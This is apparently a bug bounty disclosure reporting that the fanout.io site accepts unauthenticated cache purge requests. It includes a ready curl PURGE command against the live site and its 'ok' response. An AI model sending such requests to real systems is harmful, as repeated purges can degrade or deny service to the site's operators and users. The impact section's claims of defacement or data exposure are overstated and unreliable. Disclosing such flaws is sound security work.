Unauthenticated cache purging

## Summary: I found a vulnerability in https://fanout.io/ page known as unauthenticated cache purging vulnerability. This vulnerability arises when cache purging requests are available to the unauthenticated users. ## Steps To Reproduce: 1. Go to any terminal of an OS which has curl installed in it. 2. Type in the following command `curl --head https://fanout.io/` and hit enter. You will see that there are these following HTTP headers available ```http via: 1.1 varnish age: 7 x-served-by: cache-qpg1234-QPG x-cache: HIT x-cache-hits: 1 ``` 3. This means that the page is caching the requests. So to reproduce the bug or to exploit it, type `curl -X PURGE https://fanout.io/` and in the response you'll see `{ "status": "ok", "id": "1237-1678993092-222436" }` (the id can be changed in your case) This response proves that this endpoint is vulnerable to unauthenticated cache purging. ## Supporting Material/References: F2235408 ## Impact In general, cache purging vulnerabilities can have a high severity level because they can allow an attacker to manipulate the cache of a web application, which can lead to various types of attacks such as website defacement, unauthorized access to sensitive data, or denial of service (DoS) attacks.